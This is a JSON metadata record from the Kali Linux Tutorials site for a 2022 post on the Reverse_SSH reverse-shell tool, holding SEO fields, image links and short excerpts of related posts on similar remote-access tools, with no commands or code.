Tutorials","article_published_time":"2022-11-10T13:54:06+00:00","article_modified_time":"2022-11-10T13:54:08+00:00","og_image":[{"url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png","type":"","width":"","height":""}],"author":"R K","twitter_card":"summary_large_image","twitter_image":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png","twitter_creator":"@CyberEdition","twitter_site":"@CyberEdition","twitter_misc":{"Written by":"R K","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#article","isPartOf":{"@id":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/"},"author":{"name":"R K","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad"},"headline":"Reverse_SSH : SSH Based Reverse Shell","datePublished":"2022-11-10T13:54:06+00:00","dateModified":"2022-11-10T13:54:08+00:00","mainEntityOfPage":{"@id":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/"},"wordCount":869,"commentCount":0,"publisher":{"@id":"https:\/\/kalilinuxtutorials.com\/#organization"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#primaryimage"},"thumbnailUrl":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png","keywords":["linux","Mac","Reverse Shell","Reverse_SSH","ssh","Window","windows"],"articleSection":["Kali Linux"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/","url":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/","name":"Reverse_SSH : SSH Based Reverse Shell 2022!!!Kalilinuxtutorials","isPartOf":{"@id":"https:\/\/kalilinuxtutorials.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#primaryimage"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#primaryimage"},"thumbnailUrl":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png","datePublished":"2022-11-10T13:54:06+00:00","dateModified":"2022-11-10T13:54:08+00:00","description":"Want to use SSH for reverse shells? Now you can using reverse_SSH. Manage and connect to reverse shells with native SSH syntax","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/kalilinuxtutorials.com\/reverse_ssh\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#primaryimage","url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png","contentUrl":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png","width":"728","height":"380"},{"@type":"WebSite","@id":"https:\/\/kalilinuxtutorials.com\/#website","url":"https:\/\/kalilinuxtutorials.com\/","name":"Kali Linux Tutorials","description":"Kali Linux Tutorials","publisher":{"@id":"https:\/\/kalilinuxtutorials.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/kalilinuxtutorials.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/kalilinuxtutorials.com\/#organization","name":"Kali Linux Tutorials","url":"https:\/\/kalilinuxtutorials.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/","url":"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png","contentUrl":"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png","width":272,"height":90,"caption":"Kali Linux Tutorials"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/CyberEdition","https:\/\/www.threads.com\/@cybersecurityedition","https:\/\/www.linkedin.com\/company\/cyberedition","https:\/\/www.instagram.com\/cybersecurityedition\/"]},{"@type":"Person","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad","name":"R K","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g","caption":"R K"},"url":"https:\/\/kalilinuxtutorials.com\/author\/ranjith\/"}]}},"jetpack_featured_media_url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":17434,"url":"https:\/\/kalilinuxtutorials.com\/reversessh\/","url_meta":{"origin":27584,"position":0},"title":"ReverseSSH : Statically-linked Ssh Server With Reverse Shell Functionality For CTFs And Such","author":"R K","date":"August 26, 2021","format":false,"excerpt":"ReverseSSH is a statically-linked ssh server with a reverse connection feature for simple yet powerful remote access. Most useful during HackTheBox challenges, CTFs or similar. Has been developed and was extensively used during OSCP exam preparation. Features Catching a reverse shell with\u00a0netcat\u00a0is cool, sure, but who hasn't accidentally closed a\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"ReverseSSH : Statically-linked Ssh Server With Reverse Shell Functionality For CTFs And Such","src":"https:\/\/i0.wp.com\/1.bp.blogspot.com\/-iDjAdd1KHe8\/YSSYKe43V5I\/AAAAAAAAKiY\/LPeSNS2AYQkc0BOL1u2OP5euIXpU6NNegCLcBGAsYHQ\/s569\/ReverseSSH-SSH-Server-with-Reverse-Shell-Functionality-370x247%2B%25281%2529.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/1.bp.blogspot.com\/-iDjAdd1KHe8\/YSSYKe43V5I\/AAAAAAAAKiY\/LPeSNS2AYQkc0BOL1u2OP5euIXpU6NNegCLcBGAsYHQ\/s569\/ReverseSSH-SSH-Server-with-Reverse-Shell-Functionality-370x247%2B%25281%2529.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/1.bp.blogspot.com\/-iDjAdd1KHe8\/YSSYKe43V5I\/AAAAAAAAKiY\/LPeSNS2AYQkc0BOL1u2OP5euIXpU6NNegCLcBGAsYHQ\/s569\/ReverseSSH-SSH-Server-with-Reverse-Shell-Functionality-370x247%2B%25281%2529.png?resize=525%2C300&ssl=1 1.5x"},"classes":[]},{"id":21374,"url":"https:\/\/kalilinuxtutorials.com\/xc\/","url_meta":{"origin":27584,"position":1},"title":"XC : A Small Reverse Shell For Linux And Windows","author":"R K","date":"January 26, 2022","format":false,"excerpt":"XC is a Netcat like reverse shell for Linux & Windows. Features Windows Usage:\u2514 Shared Commands: !exit!upload uploads a file to the target!downloaddownloads a file from the target!lfwdlocal portforwarding (like ssh -L)!rfwdremote portforwarding (like ssh -R)!lsfwdlists active forwards!rmfwdremoves forward by index!pluginslists available plugins!pluginexecute a plugin!spawnspawns another client on the specified\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEgQBVN90VsAw7erLA4up8S4UpxQE9Dt8dad5iNRqBAwDSfR0fsXJKIzNmbpRASkmoIpAKI7Tw4wcP0_j_3m-9YesEfyUiqpivfmkiqCkM5o0y7qLzlTvQTyqIi8pMIYuNax6qTbIyIcduEAJePtHA8XpVom4RXy2uxSvXQNkvELE7tngS9SSXDAcILK=s728","width":350,"height":200,"srcset":"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEgQBVN90VsAw7erLA4up8S4UpxQE9Dt8dad5iNRqBAwDSfR0fsXJKIzNmbpRASkmoIpAKI7Tw4wcP0_j_3m-9YesEfyUiqpivfmkiqCkM5o0y7qLzlTvQTyqIi8pMIYuNax6qTbIyIcduEAJePtHA8XpVom4RXy2uxSvXQNkvELE7tngS9SSXDAcILK=s728 1x, https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEgQBVN90VsAw7erLA4up8S4UpxQE9Dt8dad5iNRqBAwDSfR0fsXJKIzNmbpRASkmoIpAKI7Tw4wcP0_j_3m-9YesEfyUiqpivfmkiqCkM5o0y7qLzlTvQTyqIi8pMIYuNax6qTbIyIcduEAJePtHA8XpVom4RXy2uxSvXQNkvELE7tngS9SSXDAcILK=s728 1.5x, https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEgQBVN90VsAw7erLA4up8S4UpxQE9Dt8dad5iNRqBAwDSfR0fsXJKIzNmbpRASkmoIpAKI7Tw4wcP0_j_3m-9YesEfyUiqpivfmkiqCkM5o0y7qLzlTvQTyqIi8pMIYuNax6qTbIyIcduEAJePtHA8XpVom4RXy2uxSvXQNkvELE7tngS9SSXDAcILK=s728 2x"},"classes":[]},{"id":10285,"url":"https:\/\/kalilinuxtutorials.com\/serverless-prey-serverless-functions-for-establishing-reverse-shells\/","url_meta":{"origin":27584,"position":2},"title":"Serverless-Prey : Serverless Functions For Establishing Reverse Shells","author":"R K","date":"April 17, 2020","format":false,"excerpt":"Serverless-Prey is a collection of serverless functions (FaaS), that, once launched to a cloud environment and invoked, establish a TCP reverse shell, enabling the user to introspect the underlying container: Panther: AWS Lambda written in Node.jsCougar: Azure Function written in C#Cheetah: Google Cloud Function written in Go This repository also\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/img.youtube.com\/vi\/SV69iUrYlTQ\/0.jpg?resize=350%2C200","width":350,"height":200},"classes":[]},{"id":32061,"url":"https:\/\/kalilinuxtutorials.com\/xc-2\/","url_meta":{"origin":27584,"position":3},"title":"XC : A Comprehensive Guide To Netcat &#8211; Like Reverse Shell For Linux And Windows","author":"Varshini","date":"February 15, 2024","format":false,"excerpt":"A powerful tool reminiscent of Netcat, designed for both Linux and Windows systems. With its array of features including file manipulation, port forwarding, and plugin execution, XC offers versatile capabilities for penetration testers and ethical hackers. This article provides a detailed overview and setup guide for leveraging XC's functionalities effectively.\u2026","rel":"","context":"In &quot;Cyber security&quot;","block_context":{"text":"Cyber security","link":"https:\/\/kalilinuxtutorials.com\/category\/cyber-security\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjWUzgdsHhwDE9zwmr9ZmgGa6nblYfiB95Xbjao-Lgf9hLP4qWKngNvuewdP8ajzFM4hZzDcTs21zGD78FwtbC2OSLH80VrM9LYr2v7MWyFdHfLLQPgQ2w_H9MfMhk_7wuDVC4-H-5qz4KYyd_SwdTEx4vIZPCZoOEJ3ZvmKS_5I0canWgdR8GIbnP1Rvwi\/s16000\/Untitled%20design%20%2822%29.webp?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjWUzgdsHhwDE9zwmr9ZmgGa6nblYfiB95Xbjao-Lgf9hLP4qWKngNvuewdP8ajzFM4hZzDcTs21zGD78FwtbC2OSLH80VrM9LYr2v7MWyFdHfLLQPgQ2w_H9MfMhk_7wuDVC4-H-5qz4KYyd_SwdTEx4vIZPCZoOEJ3ZvmKS_5I0canWgdR8GIbnP1Rvwi\/s16000\/Untitled%20design%20%2822%29.webp?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjWUzgdsHhwDE9zwmr9ZmgGa6nblYfiB95Xbjao-Lgf9hLP4qWKngNvuewdP8ajzFM4hZzDcTs21zGD78FwtbC2OSLH80VrM9LYr2v7MWyFdHfLLQPgQ2w_H9MfMhk_7wuDVC4-H-5qz4KYyd_SwdTEx4vIZPCZoOEJ3ZvmKS_5I0canWgdR8GIbnP1Rvwi\/s16000\/Untitled%20design%20%2822%29.webp?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjWUzgdsHhwDE9zwmr9ZmgGa6nblYfiB95Xbjao-Lgf9hLP4qWKngNvuewdP8ajzFM4hZzDcTs21zGD78FwtbC2OSLH80VrM9LYr2v7MWyFdHfLLQPgQ2w_H9MfMhk_7wuDVC4-H-5qz4KYyd_SwdTEx4vIZPCZoOEJ3ZvmKS_5I0canWgdR8GIbnP1Rvwi\/s16000\/Untitled%20design%20%2822%29.webp?resize=700%2C400&ssl=1 2x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjWUzgdsHhwDE9zwmr9ZmgGa6nblYfiB95Xbjao-Lgf9hLP4qWKngNvuewdP8ajzFM4hZzDcTs21zGD78FwtbC2OSLH80VrM9LYr2v7MWyFdHfLLQPgQ2w_H9MfMhk_7wuDVC4-H-5qz4KYyd_SwdTEx4vIZPCZoOEJ3ZvmKS_5I0canWgdR8GIbnP1Rvwi\/s16000\/Untitled%20design%20%2822%29.webp?resize=1050%2C600&ssl=1 3x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjWUzgdsHhwDE9zwmr9ZmgGa6nblYfiB95Xbjao-Lgf9hLP4qWKngNvuewdP8ajzFM4hZzDcTs21zGD78FwtbC2OSLH80VrM9LYr2v7MWyFdHfLLQPgQ2w_H9MfMhk_7wuDVC4-H-5qz4KYyd_SwdTEx4vIZPCZoOEJ3ZvmKS_5I0canWgdR8GIbnP1Rvwi\/s16000\/Untitled%20design%20%2822%29.webp?resize=1400%2C800&ssl=1 4x"},"classes":[]},{"id":19081,"url":"https:\/\/kalilinuxtutorials.com\/pwncat\/","url_meta":{"origin":27584,"position":4},"title":"Pwncat : Fancy Reverse And Bind Shell Handler","author":"R K","date":"October 11, 2021","format":false,"excerpt":"Pwncat is a post-exploitation platform\u00a0for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown from there. It streamlines common red team operations while staging code from your attacker machine, not the target. pwncat used to only support Linux, but there has been\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/1.bp.blogspot.com\/-zrZjdYb2AgA\/YVrlntaUvBI\/AAAAAAAALAM\/MlBzEzAG3dAlQ80yU2qagNQrw6QsG-g9wCLcBGAsYHQ\/s1024\/1.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/1.bp.blogspot.com\/-zrZjdYb2AgA\/YVrlntaUvBI\/AAAAAAAALAM\/MlBzEzAG3dAlQ80yU2qagNQrw6QsG-g9wCLcBGAsYHQ\/s1024\/1.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/1.bp.blogspot.com\/-zrZjdYb2AgA\/YVrlntaUvBI\/AAAAAAAALAM\/MlBzEzAG3dAlQ80yU2qagNQrw6QsG-g9wCLcBGAsYHQ\/s1024\/1.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/1.bp.blogspot.com\/-zrZjdYb2AgA\/YVrlntaUvBI\/AAAAAAAALAM\/MlBzEzAG3dAlQ80yU2qagNQrw6QsG-g9wCLcBGAsYHQ\/s1024\/1.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":4161,"url":"https:\/\/kalilinuxtutorials.com\/reverse-shell-cheat-sheet\/","url_meta":{"origin":27584,"position":5},"title":"Reverse Shell Cheat Sheet 2019","author":"R K","date":"March 12, 2019","format":false,"excerpt":"If it\u2019s not possible to add a new account \/ SSH key \/ .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former. If you\u2019re lucky enough\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]}],"_links":{"self":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts\/27584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/comments?post=27584"}],"version-history":[{"count":3,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts\/27584\/revisions"}],"predecessor-version":[{"id":27587,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts\/27584\/revisions\/27587"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/media\/27588"}],"wp:attachment":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/media?parent=27584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/categories?post=27584"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/tags?post=27584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}